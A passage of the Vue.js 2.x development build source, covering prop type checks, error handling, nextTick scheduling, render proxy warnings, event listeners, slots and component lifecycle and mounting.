(!validator(value)) {\n        warn(\n          'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n          vm\n        );\n      }\n    }\n  }\n\n  var simpleCheckRE = /^(String|Number|Boolean|Function|Symbol)$/;\n\n  function assertType (value, type) {\n    var valid;\n    var expectedType = getType(type);\n    if (simpleCheckRE.test(expectedType)) {\n      var t = typeof value;\n      valid = t === expectedType.toLowerCase();\n      // for primitive wrapper objects\n      if (!valid && t === 'object') {\n        valid = value instanceof type;\n      }\n    } else if (expectedType === 'Object') {\n      valid = isPlainObject(value);\n    } else if (expectedType === 'Array') {\n      valid = Array.isArray(value);\n    } else {\n      valid = value instanceof type;\n    }\n    return {\n      valid: valid,\n      expectedType: expectedType\n    }\n  }\n\n  /**\n   * Use function string name to check built-in types,\n   * because a simple equality check will fail when running\n   * across different vms / iframes.\n   */\n  function getType (fn) {\n    var match = fn && fn.toString().match(/^\\s*function (\\w+)/);\n    return match ? match[1] : ''\n  }\n\n  function isSameType (a, b) {\n    return getType(a) === getType(b)\n  }\n\n  function getTypeIndex (type, expectedTypes) {\n    if (!Array.isArray(expectedTypes)) {\n      return isSameType(expectedTypes, type) ? 0 : -1\n    }\n    for (var i = 0, len = expectedTypes.length; i < len; i++) {\n      if (isSameType(expectedTypes[i], type)) {\n        return i\n      }\n    }\n    return -1\n  }\n\n  function getInvalidTypeMessage (name, value, expectedTypes) {\n    var message = \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n      \" Expected \" + (expectedTypes.map(capitalize).join(', '));\n    var expectedType = expectedTypes[0];\n    var receivedType = toRawType(value);\n    var expectedValue = styleValue(value, expectedType);\n    var receivedValue = styleValue(value, receivedType);\n    // check if we need to specify expected value\n    if (expectedTypes.length === 1 &&\n        isExplicable(expectedType) &&\n        !isBoolean(expectedType, receivedType)) {\n      message += \" with value \" + expectedValue;\n    }\n    message += \", got \" + receivedType + \" \";\n    // check if we need to specify received value\n    if (isExplicable(receivedType)) {\n      message += \"with value \" + receivedValue + \".\";\n    }\n    return message\n  }\n\n  function styleValue (value, type) {\n    if (type === 'String') {\n      return (\"\\\"\" + value + \"\\\"\")\n    } else if (type === 'Number') {\n      return (\"\" + (Number(value)))\n    } else {\n      return (\"\" + value)\n    }\n  }\n\n  function isExplicable (value) {\n    var explicitTypes = ['string', 'number', 'boolean'];\n    return explicitTypes.some(function (elem) { return value.toLowerCase() === elem; })\n  }\n\n  function isBoolean () {\n    var args = [], len = arguments.length;\n    while ( len-- ) args[ len ] = arguments[ len ];\n\n    return args.some(function (elem) { return elem.toLowerCase() === 'boolean'; })\n  }\n\n  /*  */\n\n  function handleError (err, vm, info) {\n    if (vm) {\n      var cur = vm;\n      while ((cur = cur.$parent)) {\n        var hooks = cur.$options.errorCaptured;\n        if (hooks) {\n          for (var i = 0; i < hooks.length; i++) {\n            try {\n              var capture = hooks[i].call(cur, err, vm, info) === false;\n              if (capture) { return }\n            } catch (e) {\n              globalHandleError(e, cur, 'errorCaptured hook');\n            }\n          }\n        }\n      }\n    }\n    globalHandleError(err, vm, info);\n  }\n\n  function globalHandleError (err, vm, info) {\n    if (config.errorHandler) {\n      try {\n        return config.errorHandler.call(null, err, vm, info)\n      } catch (e) {\n        logError(e, null, 'config.errorHandler');\n      }\n    }\n    logError(err, vm, info);\n  }\n\n  function logError (err, vm, info) {\n    {\n      warn((\"Error in \" + info + \": \\\"\" + (err.toString()) + \"\\\"\"), vm);\n    }\n    /* istanbul ignore else */\n    if ((inBrowser || inWeex) && typeof console !== 'undefined') {\n      console.error(err);\n    } else {\n      throw err\n    }\n  }\n\n  /*  */\n\n  var callbacks = [];\n  var pending = false;\n\n  function flushCallbacks () {\n    pending = false;\n    var copies = callbacks.slice(0);\n    callbacks.length = 0;\n    for (var i = 0; i < copies.length; i++) {\n      copies[i]();\n    }\n  }\n\n  // Here we have async deferring wrappers using both microtasks and (macro) tasks.\n  // In < 2.4 we used microtasks everywhere, but there are some scenarios where\n  // microtasks have too high a priority and fire in between supposedly\n  // sequential events (e.g. #4521, #6690) or even between bubbling of the same\n  // event (#6566). However, using (macro) tasks everywhere also has subtle problems\n  // when state is changed right before repaint (e.g. #6813, out-in transitions).\n  // Here we use microtask by default, but expose a way to force (macro) task when\n  // needed (e.g. in event handlers attached by v-on).\n  var microTimerFunc;\n  var macroTimerFunc;\n  var useMacroTask = false;\n\n  // Determine (macro) task defer implementation.\n  // Technically setImmediate should be the ideal choice, but it's only available\n  // in IE. The only polyfill that consistently queues the callback after all DOM\n  // events triggered in the same loop is by using MessageChannel.\n  /* istanbul ignore if */\n  if (typeof setImmediate !== 'undefined' && isNative(setImmediate)) {\n    macroTimerFunc = function () {\n      setImmediate(flushCallbacks);\n    };\n  } else if (typeof MessageChannel !== 'undefined' && (\n    isNative(MessageChannel) ||\n    // PhantomJS\n    MessageChannel.toString() === '[object MessageChannelConstructor]'\n  )) {\n    var channel = new MessageChannel();\n    var port = channel.port2;\n    channel.port1.onmessage = flushCallbacks;\n    macroTimerFunc = function () {\n      port.postMessage(1);\n    };\n  } else {\n    /* istanbul ignore next */\n    macroTimerFunc = function () {\n      setTimeout(flushCallbacks, 0);\n    };\n  }\n\n  // Determine microtask defer implementation.\n  /* istanbul ignore next, $flow-disable-line */\n  if (typeof Promise !== 'undefined' && isNative(Promise)) {\n    var p = Promise.resolve();\n    microTimerFunc = function () {\n      p.then(flushCallbacks);\n      // in problematic UIWebViews, Promise.then doesn't completely break, but\n      // it can get stuck in a weird state where callbacks are pushed into the\n      // microtask queue but the queue isn't being flushed, until the browser\n      // needs to do some other work, e.g. handle a timer. Therefore we can\n      // \"force\" the microtask queue to be flushed by adding an empty timer.\n      if (isIOS) { setTimeout(noop); }\n    };\n  } else {\n    // fallback to macro\n    microTimerFunc = macroTimerFunc;\n  }\n\n  /**\n   * Wrap a function so that if any code inside triggers state change,\n   * the changes are queued using a (macro) task instead of a microtask.\n   */\n  function withMacroTask (fn) {\n    return fn._withTask || (fn._withTask = function () {\n      useMacroTask = true;\n      try {\n        return fn.apply(null, arguments)\n      } finally {\n        useMacroTask = false;    \n      }\n    })\n  }\n\n  function nextTick (cb, ctx) {\n    var _resolve;\n    callbacks.push(function () {\n      if (cb) {\n        try {\n          cb.call(ctx);\n        } catch (e) {\n          handleError(e, ctx, 'nextTick');\n        }\n      } else if (_resolve) {\n        _resolve(ctx);\n      }\n    });\n    if (!pending) {\n      pending = true;\n      if (useMacroTask) {\n        macroTimerFunc();\n      } else {\n        microTimerFunc();\n      }\n    }\n    // $flow-disable-line\n    if (!cb && typeof Promise !== 'undefined') {\n      return new Promise(function (resolve) {\n        _resolve = resolve;\n      })\n    }\n  }\n\n  /*  */\n\n  var mark;\n  var measure;\n\n  {\n    var perf = inBrowser && window.performance;\n    /* istanbul ignore if */\n    if (\n      perf &&\n      perf.mark &&\n      perf.measure &&\n      perf.clearMarks &&\n      perf.clearMeasures\n    ) {\n      mark = function (tag) { return perf.mark(tag); };\n      measure = function (name, startTag, endTag) {\n        perf.measure(name, startTag, endTag);\n        perf.clearMarks(startTag);\n        perf.clearMarks(endTag);\n        perf.clearMeasures(name);\n      };\n    }\n  }\n\n  /* not type checking this file because flow doesn't play well with Proxy */\n\n  var initProxy;\n\n  {\n    var allowedGlobals = makeMap(\n      'Infinity,undefined,NaN,isFinite,isNaN,' +\n      'parseFloat,parseInt,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,' +\n      'Math,Number,Date,Array,Object,Boolean,String,RegExp,Map,Set,JSON,Intl,' +\n      'require' // for Webpack/Browserify\n    );\n\n    var warnNonPresent = function (target, key) {\n      warn(\n        \"Property or method \\\"\" + key + \"\\\" is not defined on the instance but \" +\n        'referenced during render. Make sure that this property is reactive, ' +\n        'either in the data option, or for class-based components, by ' +\n        'initializing the property. ' +\n        'See: https://vuejs.org/v2/guide/reactivity.html#Declaring-Reactive-Properties.',\n        target\n      );\n    };\n\n    var warnReservedPrefix = function (target, key) {\n      warn(\n        \"Property \\\"\" + key + \"\\\" must be accessed with \\\"$data.\" + key + \"\\\" because \" +\n        'properties starting with \"$\" or \"_\" are not proxied in the Vue instance to ' +\n        'prevent conflicts with Vue internals' +\n        'See: https://vuejs.org/v2/api/#data',\n        target\n      );\n    };\n\n    var hasProxy =\n      typeof Proxy !== 'undefined' && isNative(Proxy);\n\n    if (hasProxy) {\n      var isBuiltInModifier = makeMap('stop,prevent,self,ctrl,shift,alt,meta,exact');\n      config.keyCodes = new Proxy(config.keyCodes, {\n        set: function set (target, key, value) {\n          if (isBuiltInModifier(key)) {\n            warn((\"Avoid overwriting built-in modifier in config.keyCodes: .\" + key));\n            return false\n          } else {\n            target[key] = value;\n            return true\n          }\n        }\n      });\n    }\n\n    var hasHandler = {\n      has: function has (target, key) {\n        var has = key in target;\n        var isAllowed = allowedGlobals(key) ||\n          (typeof key === 'string' && key.charAt(0) === '_' && !(key in target.$data));\n        if (!has && !isAllowed) {\n          if (key in target.$data) { warnReservedPrefix(target, key); }\n          else { warnNonPresent(target, key); }\n        }\n        return has || !isAllowed\n      }\n    };\n\n    var getHandler = {\n      get: function get (target, key) {\n        if (typeof key === 'string' && !(key in target)) {\n          if (key in target.$data) { warnReservedPrefix(target, key); }\n          else { warnNonPresent(target, key); }\n        }\n        return target[key]\n      }\n    };\n\n    initProxy = function initProxy (vm) {\n      if (hasProxy) {\n        // determine which proxy handler to use\n        var options = vm.$options;\n        var handlers = options.render && options.render._withStripped\n          ? getHandler\n          : hasHandler;\n        vm._renderProxy = new Proxy(vm, handlers);\n      } else {\n        vm._renderProxy = vm;\n      }\n    };\n  }\n\n  /*  */\n\n  var seenObjects = new _Set();\n\n  /**\n   * Recursively traverse an object to evoke all converted\n   * getters, so that every nested property inside the object\n   * is collected as a \"deep\" dependency.\n   */\n  function traverse (val) {\n    _traverse(val, seenObjects);\n    seenObjects.clear();\n  }\n\n  function _traverse (val, seen) {\n    var i, keys;\n    var isA = Array.isArray(val);\n    if ((!isA && !isObject(val)) || Object.isFrozen(val) || val instanceof VNode) {\n      return\n    }\n    if (val.__ob__) {\n      var depId = val.__ob__.dep.id;\n      if (seen.has(depId)) {\n        return\n      }\n      seen.add(depId);\n    }\n    if (isA) {\n      i = val.length;\n      while (i--) { _traverse(val[i], seen); }\n    } else {\n      keys = Object.keys(val);\n      i = keys.length;\n      while (i--) { _traverse(val[keys[i]], seen); }\n    }\n  }\n\n  /*  */\n\n  var normalizeEvent = cached(function (name) {\n    var passive = name.charAt(0) === '&';\n    name = passive ? name.slice(1) : name;\n    var once$$1 = name.charAt(0) === '~'; // Prefixed last, checked first\n    name = once$$1 ? name.slice(1) : name;\n    var capture = name.charAt(0) === '!';\n    name = capture ? name.slice(1) : name;\n    return {\n      name: name,\n      once: once$$1,\n      capture: capture,\n      passive: passive\n    }\n  });\n\n  function createFnInvoker (fns) {\n    function invoker () {\n      var arguments$1 = arguments;\n\n      var fns = invoker.fns;\n      if (Array.isArray(fns)) {\n        var cloned = fns.slice();\n        for (var i = 0; i < cloned.length; i++) {\n          cloned[i].apply(null, arguments$1);\n        }\n      } else {\n        // return handler return value for single handlers\n        return fns.apply(null, arguments)\n      }\n    }\n    invoker.fns = fns;\n    return invoker\n  }\n\n  function updateListeners (\n    on,\n    oldOn,\n    add,\n    remove$$1,\n    createOnceHandler,\n    vm\n  ) {\n    var name, def$$1, cur, old, event;\n    for (name in on) {\n      def$$1 = cur = on[name];\n      old = oldOn[name];\n      event = normalizeEvent(name);\n      if (isUndef(cur)) {\n        warn(\n          \"Invalid handler for event \\\"\" + (event.name) + \"\\\": got \" + String(cur),\n          vm\n        );\n      } else if (isUndef(old)) {\n        if (isUndef(cur.fns)) {\n          cur = on[name] = createFnInvoker(cur);\n        }\n        if (isTrue(event.once)) {\n          cur = on[name] = createOnceHandler(event.name, cur, event.capture);\n        }\n        add(event.name, cur, event.capture, event.passive, event.params);\n      } else if (cur !== old) {\n        old.fns = cur;\n        on[name] = old;\n      }\n    }\n    for (name in oldOn) {\n      if (isUndef(on[name])) {\n        event = normalizeEvent(name);\n        remove$$1(event.name, oldOn[name], event.capture);\n      }\n    }\n  }\n\n  /*  */\n\n  function mergeVNodeHook (def, hookKey, hook) {\n    if (def instanceof VNode) {\n      def = def.data.hook || (def.data.hook = {});\n    }\n    var invoker;\n    var oldHook = def[hookKey];\n\n    function wrappedHook () {\n      hook.apply(this, arguments);\n      // important: remove merged hook to ensure it's called only once\n      // and prevent memory leak\n      remove(invoker.fns, wrappedHook);\n    }\n\n    if (isUndef(oldHook)) {\n      // no existing hook\n      invoker = createFnInvoker([wrappedHook]);\n    } else {\n      /* istanbul ignore if */\n      if (isDef(oldHook.fns) && isTrue(oldHook.merged)) {\n        // already a merged invoker\n        invoker = oldHook;\n        invoker.fns.push(wrappedHook);\n      } else {\n        // existing plain hook\n        invoker = createFnInvoker([oldHook, wrappedHook]);\n      }\n    }\n\n    invoker.merged = true;\n    def[hookKey] = invoker;\n  }\n\n  /*  */\n\n  function extractPropsFromVNodeData (\n    data,\n    Ctor,\n    tag\n  ) {\n    // we are only extracting raw values here.\n    // validation and default values are handled in the child\n    // component itself.\n    var propOptions = Ctor.options.props;\n    if (isUndef(propOptions)) {\n      return\n    }\n    var res = {};\n    var attrs = data.attrs;\n    var props = data.props;\n    if (isDef(attrs) || isDef(props)) {\n      for (var key in propOptions) {\n        var altKey = hyphenate(key);\n        {\n          var keyInLowerCase = key.toLowerCase();\n          if (\n            key !== keyInLowerCase &&\n            attrs && hasOwn(attrs, keyInLowerCase)\n          ) {\n            tip(\n              \"Prop \\\"\" + keyInLowerCase + \"\\\" is passed to component \" +\n              (formatComponentName(tag || Ctor)) + \", but the declared prop name is\" +\n              \" \\\"\" + key + \"\\\". \" +\n              \"Note that HTML attributes are case-insensitive and camelCased \" +\n              \"props need to use their kebab-case equivalents when using in-DOM \" +\n              \"templates. You should probably use \\\"\" + altKey + \"\\\" instead of \\\"\" + key + \"\\\".\"\n            );\n          }\n        }\n        checkProp(res, props, key, altKey, true) ||\n        checkProp(res, attrs, key, altKey, false);\n      }\n    }\n    return res\n  }\n\n  function checkProp (\n    res,\n    hash,\n    key,\n    altKey,\n    preserve\n  ) {\n    if (isDef(hash)) {\n      if (hasOwn(hash, key)) {\n        res[key] = hash[key];\n        if (!preserve) {\n          delete hash[key];\n        }\n        return true\n      } else if (hasOwn(hash, altKey)) {\n        res[key] = hash[altKey];\n        if (!preserve) {\n          delete hash[altKey];\n        }\n        return true\n      }\n    }\n    return false\n  }\n\n  /*  */\n\n  // The template compiler attempts to minimize the need for normalization by\n  // statically analyzing the template at compile time.\n  //\n  // For plain HTML markup, normalization can be completely skipped because the\n  // generated render function is guaranteed to return Array<VNode>. There are\n  // two cases where extra normalization is needed:\n\n  // 1. When the children contains components - because a functional component\n  // may return an Array instead of a single root. In this case, just a simple\n  // normalization is needed - if any child is an Array, we flatten the whole\n  // thing with Array.prototype.concat. It is guaranteed to be only 1-level deep\n  // because functional components already normalize their own children.\n  function simpleNormalizeChildren (children) {\n    for (var i = 0; i < children.length; i++) {\n      if (Array.isArray(children[i])) {\n        return Array.prototype.concat.apply([], children)\n      }\n    }\n    return children\n  }\n\n  // 2. When the children contains constructs that always generated nested Arrays,\n  // e.g. <template>, <slot>, v-for, or when the children is provided by user\n  // with hand-written render functions / JSX. In such cases a full normalization\n  // is needed to cater to all possible types of children values.\n  function normalizeChildren (children) {\n    return isPrimitive(children)\n      ? [createTextVNode(children)]\n      : Array.isArray(children)\n        ? normalizeArrayChildren(children)\n        : undefined\n  }\n\n  function isTextNode (node) {\n    return isDef(node) && isDef(node.text) && isFalse(node.isComment)\n  }\n\n  function normalizeArrayChildren (children, nestedIndex) {\n    var res = [];\n    var i, c, lastIndex, last;\n    for (i = 0; i < children.length; i++) {\n      c = children[i];\n      if (isUndef(c) || typeof c === 'boolean') { continue }\n      lastIndex = res.length - 1;\n      last = res[lastIndex];\n      //  nested\n      if (Array.isArray(c)) {\n        if (c.length > 0) {\n          c = normalizeArrayChildren(c, ((nestedIndex || '') + \"_\" + i));\n          // merge adjacent text nodes\n          if (isTextNode(c[0]) && isTextNode(last)) {\n            res[lastIndex] = createTextVNode(last.text + (c[0]).text);\n            c.shift();\n          }\n          res.push.apply(res, c);\n        }\n      } else if (isPrimitive(c)) {\n        if (isTextNode(last)) {\n          // merge adjacent text nodes\n          // this is necessary for SSR hydration because text nodes are\n          // essentially merged when rendered to HTML strings\n          res[lastIndex] = createTextVNode(last.text + c);\n        } else if (c !== '') {\n          // convert primitive to vnode\n          res.push(createTextVNode(c));\n        }\n      } else {\n        if (isTextNode(c) && isTextNode(last)) {\n          // merge adjacent text nodes\n          res[lastIndex] = createTextVNode(last.text + c.text);\n        } else {\n          // default key for nested array children (likely generated by v-for)\n          if (isTrue(children._isVList) &&\n            isDef(c.tag) &&\n            isUndef(c.key) &&\n            isDef(nestedIndex)) {\n            c.key = \"__vlist\" + nestedIndex + \"_\" + i + \"__\";\n          }\n          res.push(c);\n        }\n      }\n    }\n    return res\n  }\n\n  /*  */\n\n  function ensureCtor (comp, base) {\n    if (\n      comp.__esModule ||\n      (hasSymbol && comp[Symbol.toStringTag] === 'Module')\n    ) {\n      comp = comp.default;\n    }\n    return isObject(comp)\n      ? base.extend(comp)\n      : comp\n  }\n\n  function createAsyncPlaceholder (\n    factory,\n    data,\n    context,\n    children,\n    tag\n  ) {\n    var node = createEmptyVNode();\n    node.asyncFactory = factory;\n    node.asyncMeta = { data: data, context: context, children: children, tag: tag };\n    return node\n  }\n\n  function resolveAsyncComponent (\n    factory,\n    baseCtor,\n    context\n  ) {\n    if (isTrue(factory.error) && isDef(factory.errorComp)) {\n      return factory.errorComp\n    }\n\n    if (isDef(factory.resolved)) {\n      return factory.resolved\n    }\n\n    if (isTrue(factory.loading) && isDef(factory.loadingComp)) {\n      return factory.loadingComp\n    }\n\n    if (isDef(factory.contexts)) {\n      // already pending\n      factory.contexts.push(context);\n    } else {\n      var contexts = factory.contexts = [context];\n      var sync = true;\n\n      var forceRender = function (renderCompleted) {\n        for (var i = 0, l = contexts.length; i < l; i++) {\n          contexts[i].$forceUpdate();\n        }\n\n        if (renderCompleted) {\n          contexts.length = 0;\n        }\n      };\n\n      var resolve = once(function (res) {\n        // cache resolved\n        factory.resolved = ensureCtor(res, baseCtor);\n        // invoke callbacks only if this is not a synchronous resolve\n        // (async resolves are shimmed as synchronous during SSR)\n        if (!sync) {\n          forceRender(true);\n        }\n      });\n\n      var reject = once(function (reason) {\n        warn(\n          \"Failed to resolve async component: \" + (String(factory)) +\n          (reason ? (\"\\nReason: \" + reason) : '')\n        );\n        if (isDef(factory.errorComp)) {\n          factory.error = true;\n          forceRender(true);\n        }\n      });\n\n      var res = factory(resolve, reject);\n\n      if (isObject(res)) {\n        if (typeof res.then === 'function') {\n          // () => Promise\n          if (isUndef(factory.resolved)) {\n            res.then(resolve, reject);\n          }\n        } else if (isDef(res.component) && typeof res.component.then === 'function') {\n          res.component.then(resolve, reject);\n\n          if (isDef(res.error)) {\n            factory.errorComp = ensureCtor(res.error, baseCtor);\n          }\n\n          if (isDef(res.loading)) {\n            factory.loadingComp = ensureCtor(res.loading, baseCtor);\n            if (res.delay === 0) {\n              factory.loading = true;\n            } else {\n              setTimeout(function () {\n                if (isUndef(factory.resolved) && isUndef(factory.error)) {\n                  factory.loading = true;\n                  forceRender(false);\n                }\n              }, res.delay || 200);\n            }\n          }\n\n          if (isDef(res.timeout)) {\n            setTimeout(function () {\n              if (isUndef(factory.resolved)) {\n                reject(\n                  \"timeout (\" + (res.timeout) + \"ms)\"\n                );\n              }\n            }, res.timeout);\n          }\n        }\n      }\n\n      sync = false;\n      // return in case resolved synchronously\n      return factory.loading\n        ? factory.loadingComp\n        : factory.resolved\n    }\n  }\n\n  /*  */\n\n  function isAsyncPlaceholder (node) {\n    return node.isComment && node.asyncFactory\n  }\n\n  /*  */\n\n  function getFirstComponentChild (children) {\n    if (Array.isArray(children)) {\n      for (var i = 0; i < children.length; i++) {\n        var c = children[i];\n        if (isDef(c) && (isDef(c.componentOptions) || isAsyncPlaceholder(c))) {\n          return c\n        }\n      }\n    }\n  }\n\n  /*  */\n\n  /*  */\n\n  function initEvents (vm) {\n    vm._events = Object.create(null);\n    vm._hasHookEvent = false;\n    // init parent attached events\n    var listeners = vm.$options._parentListeners;\n    if (listeners) {\n      updateComponentListeners(vm, listeners);\n    }\n  }\n\n  var target;\n\n  function add (event, fn) {\n    target.$on(event, fn);\n  }\n\n  function remove$1 (event, fn) {\n    target.$off(event, fn);\n  }\n\n  function createOnceHandler (event, fn) {\n    var _target = target;\n    return function onceHandler () {\n      var res = fn.apply(null, arguments);\n      if (res !== null) {\n        _target.$off(event, onceHandler);\n      }\n    }\n  }\n\n  function updateComponentListeners (\n    vm,\n    listeners,\n    oldListeners\n  ) {\n    target = vm;\n    updateListeners(listeners, oldListeners || {}, add, remove$1, createOnceHandler, vm);\n    target = undefined;\n  }\n\n  function eventsMixin (Vue) {\n    var hookRE = /^hook:/;\n    Vue.prototype.$on = function (event, fn) {\n      var vm = this;\n      if (Array.isArray(event)) {\n        for (var i = 0, l = event.length; i < l; i++) {\n          vm.$on(event[i], fn);\n        }\n      } else {\n        (vm._events[event] || (vm._events[event] = [])).push(fn);\n        // optimize hook:event cost by using a boolean flag marked at registration\n        // instead of a hash lookup\n        if (hookRE.test(event)) {\n          vm._hasHookEvent = true;\n        }\n      }\n      return vm\n    };\n\n    Vue.prototype.$once = function (event, fn) {\n      var vm = this;\n      function on () {\n        vm.$off(event, on);\n        fn.apply(vm, arguments);\n      }\n      on.fn = fn;\n      vm.$on(event, on);\n      return vm\n    };\n\n    Vue.prototype.$off = function (event, fn) {\n      var vm = this;\n      // all\n      if (!arguments.length) {\n        vm._events = Object.create(null);\n        return vm\n      }\n      // array of events\n      if (Array.isArray(event)) {\n        for (var i = 0, l = event.length; i < l; i++) {\n          vm.$off(event[i], fn);\n        }\n        return vm\n      }\n      // specific event\n      var cbs = vm._events[event];\n      if (!cbs) {\n        return vm\n      }\n      if (!fn) {\n        vm._events[event] = null;\n        return vm\n      }\n      if (fn) {\n        // specific handler\n        var cb;\n        var i$1 = cbs.length;\n        while (i$1--) {\n          cb = cbs[i$1];\n          if (cb === fn || cb.fn === fn) {\n            cbs.splice(i$1, 1);\n            break\n          }\n        }\n      }\n      return vm\n    };\n\n    Vue.prototype.$emit = function (event) {\n      var vm = this;\n      {\n        var lowerCaseEvent = event.toLowerCase();\n        if (lowerCaseEvent !== event && vm._events[lowerCaseEvent]) {\n          tip(\n            \"Event \\\"\" + lowerCaseEvent + \"\\\" is emitted in component \" +\n            (formatComponentName(vm)) + \" but the handler is registered for \\\"\" + event + \"\\\". \" +\n            \"Note that HTML attributes are case-insensitive and you cannot use \" +\n            \"v-on to listen to camelCase events when using in-DOM templates. \" +\n            \"You should probably use \\\"\" + (hyphenate(event)) + \"\\\" instead of \\\"\" + event + \"\\\".\"\n          );\n        }\n      }\n      var cbs = vm._events[event];\n      if (cbs) {\n        cbs = cbs.length > 1 ? toArray(cbs) : cbs;\n        var args = toArray(arguments, 1);\n        for (var i = 0, l = cbs.length; i < l; i++) {\n          try {\n            cbs[i].apply(vm, args);\n          } catch (e) {\n            handleError(e, vm, (\"event handler for \\\"\" + event + \"\\\"\"));\n          }\n        }\n      }\n      return vm\n    };\n  }\n\n  /*  */\n\n\n\n  /**\n   * Runtime helper for resolving raw children VNodes into a slot object.\n   */\n  function resolveSlots (\n    children,\n    context\n  ) {\n    var slots = {};\n    if (!children) {\n      return slots\n    }\n    for (var i = 0, l = children.length; i < l; i++) {\n      var child = children[i];\n      var data = child.data;\n      // remove slot attribute if the node is resolved as a Vue slot node\n      if (data && data.attrs && data.attrs.slot) {\n        delete data.attrs.slot;\n      }\n      // named slots should only be respected if the vnode was rendered in the\n      // same context.\n      if ((child.context === context || child.fnContext === context) &&\n        data && data.slot != null\n      ) {\n        var name = data.slot;\n        var slot = (slots[name] || (slots[name] = []));\n        if (child.tag === 'template') {\n          slot.push.apply(slot, child.children || []);\n        } else {\n          slot.push(child);\n        }\n      } else {\n        (slots.default || (slots.default = [])).push(child);\n      }\n    }\n    // ignore slots that contains only whitespace\n    for (var name$1 in slots) {\n      if (slots[name$1].every(isWhitespace)) {\n        delete slots[name$1];\n      }\n    }\n    return slots\n  }\n\n  function isWhitespace (node) {\n    return (node.isComment && !node.asyncFactory) || node.text === ' '\n  }\n\n  function resolveScopedSlots (\n    fns, // see flow/vnode\n    res\n  ) {\n    res = res || {};\n    for (var i = 0; i < fns.length; i++) {\n      if (Array.isArray(fns[i])) {\n        resolveScopedSlots(fns[i], res);\n      } else {\n        res[fns[i].key] = fns[i].fn;\n      }\n    }\n    return res\n  }\n\n  /*  */\n\n  var activeInstance = null;\n  var isUpdatingChildComponent = false;\n\n  function setActiveInstance(vm) {\n    var prevActiveInstance = activeInstance;\n    activeInstance = vm;\n    return function () {\n      activeInstance = prevActiveInstance;\n    }\n  }\n\n  function initLifecycle (vm) {\n    var options = vm.$options;\n\n    // locate first non-abstract parent\n    var parent = options.parent;\n    if (parent && !options.abstract) {\n      while (parent.$options.abstract && parent.$parent) {\n        parent = parent.$parent;\n      }\n      parent.$children.push(vm);\n    }\n\n    vm.$parent = parent;\n    vm.$root = parent ? parent.$root : vm;\n\n    vm.$children = [];\n    vm.$refs = {};\n\n    vm._watcher = null;\n    vm._inactive = null;\n    vm._directInactive = false;\n    vm._isMounted = false;\n    vm._isDestroyed = false;\n    vm._isBeingDestroyed = false;\n  }\n\n  function lifecycleMixin (Vue) {\n    Vue.prototype._update = function (vnode, hydrating) {\n      var vm = this;\n      var prevEl = vm.$el;\n      var prevVnode = vm._vnode;\n      var restoreActiveInstance = setActiveInstance(vm);\n      vm._vnode = vnode;\n      // Vue.prototype.__patch__ is injected in entry points\n      // based on the rendering backend used.\n      if (!prevVnode) {\n        // initial render\n        vm.$el = vm.__patch__(vm.$el, vnode, hydrating, false /* removeOnly */);\n      } else {\n        // updates\n        vm.$el = vm.__patch__(prevVnode, vnode);\n      }\n      restoreActiveInstance();\n      // update __vue__ reference\n      if (prevEl) {\n        prevEl.__vue__ = null;\n      }\n      if (vm.$el) {\n        vm.$el.__vue__ = vm;\n      }\n      // if parent is an HOC, update its $el as well\n      if (vm.$vnode && vm.$parent && vm.$vnode === vm.$parent._vnode) {\n        vm.$parent.$el = vm.$el;\n      }\n      // updated hook is called by the scheduler to ensure that children are\n      // updated in a parent's updated hook.\n    };\n\n    Vue.prototype.$forceUpdate = function () {\n      var vm = this;\n      if (vm._watcher) {\n        vm._watcher.update();\n      }\n    };\n\n    Vue.prototype.$destroy = function () {\n      var vm = this;\n      if (vm._isBeingDestroyed) {\n        return\n      }\n      callHook(vm, 'beforeDestroy');\n      vm._isBeingDestroyed = true;\n      // remove self from parent\n      var parent = vm.$parent;\n      if (parent && !parent._isBeingDestroyed && !vm.$options.abstract) {\n        remove(parent.$children, vm);\n      }\n      // teardown watchers\n      if (vm._watcher) {\n        vm._watcher.teardown();\n      }\n      var i = vm._watchers.length;\n      while (i--) {\n        vm._watchers[i].teardown();\n      }\n      // remove reference from data ob\n      // frozen object may not have observer.\n      if (vm._data.__ob__) {\n        vm._data.__ob__.vmCount--;\n      }\n      // call the last hook...\n      vm._isDestroyed = true;\n      // invoke destroy hooks on current rendered tree\n      vm.__patch__(vm._vnode, null);\n      // fire destroyed hook\n      callHook(vm, 'destroyed');\n      // turn off all instance listeners.\n      vm.$off();\n      // remove __vue__ reference\n      if (vm.$el) {\n        vm.$el.__vue__ = null;\n      }\n      // release circular reference (#6759)\n      if (vm.$vnode) {\n        vm.$vnode.parent = null;\n      }\n    };\n  }\n\n  function mountComponent (\n    vm,\n    el,\n    hydrating\n  ) {\n    vm.$el = el;\n    if (!vm.$options.render) {\n      vm.$options.render = createEmptyVNode;\n      {\n        /* istanbul ignore if */\n        if ((vm.$options.template && vm.$options.template.charAt(0) !== '#') ||\n          vm.$options.el || el) {\n          warn(\n            'You are using the runtime-only build of Vue where the template ' +\n            'compiler is not available. Either pre-compile the templates into ' +\n            'render functions, or use the compiler-included build.',\n            vm\n          );\n        } else {\n          warn(\n            'Failed to mount component: template or render function not defined.',\n            vm\n          );\n        }\n      }\n    }\n    callHook(vm, 'beforeMount');\n\n    var updateComponent;\n    /* istanbul ignore if */\n    if (config.performance && mark) {\n      updateComponent = function () {\n        var name = vm._name;\n        var id = vm._uid;\n        var startTag = \"vue-perf-start:\" + id;\n        var endTag = \"vue-perf-end:\" + id;\n\n        mark(startTag);\n        var vnode = vm._render();\n        mark(endTag);\n        measure((\"vue \" + name + \" render\"), startTag, endTag);\n\n        mark(startTag);\n        vm._update(vnode, hydrating);\n        mark(endTag);\n        measure((\"vue \" + name + \" patch\"), startTag, endTag);\n      };\n    } else {\n      updateComponent = function () {\n        vm._update(vm._render(), hydrating);\n      };\n    }\n\n    // we set this to vm._watcher inside the watcher's constructor\n    // since the watcher's initial patch may call $forceUpdate (e.g. inside child\n    // component's mounted hook), which relies on vm._watcher being already defined\n    new Watcher(vm, updateComponent, noop, {\n      before: function before () {\n        if (vm._isMounted && !vm._isDestroyed) {\n          callHook(vm, 'beforeUpdate');\n        }\n      }\n    }, true /* isRenderWatcher */);\n    hydrating = false;\n\n    // manually mounted instance, call mounted on self\n    // mounted is called for render-created child components in its inserted hook\n    if (vm.$vnode == null) {\n      vm._isMounted = true;\n      callHook(vm, 'mounted');\n    }\n    return vm\n  }\n\n  function updateChildComponent (\n    vm,\n    propsData,\n    listeners,\n    parentVnode,\n    renderChildren\n  ) {\n    {\n      isUpdatingChildComponent = 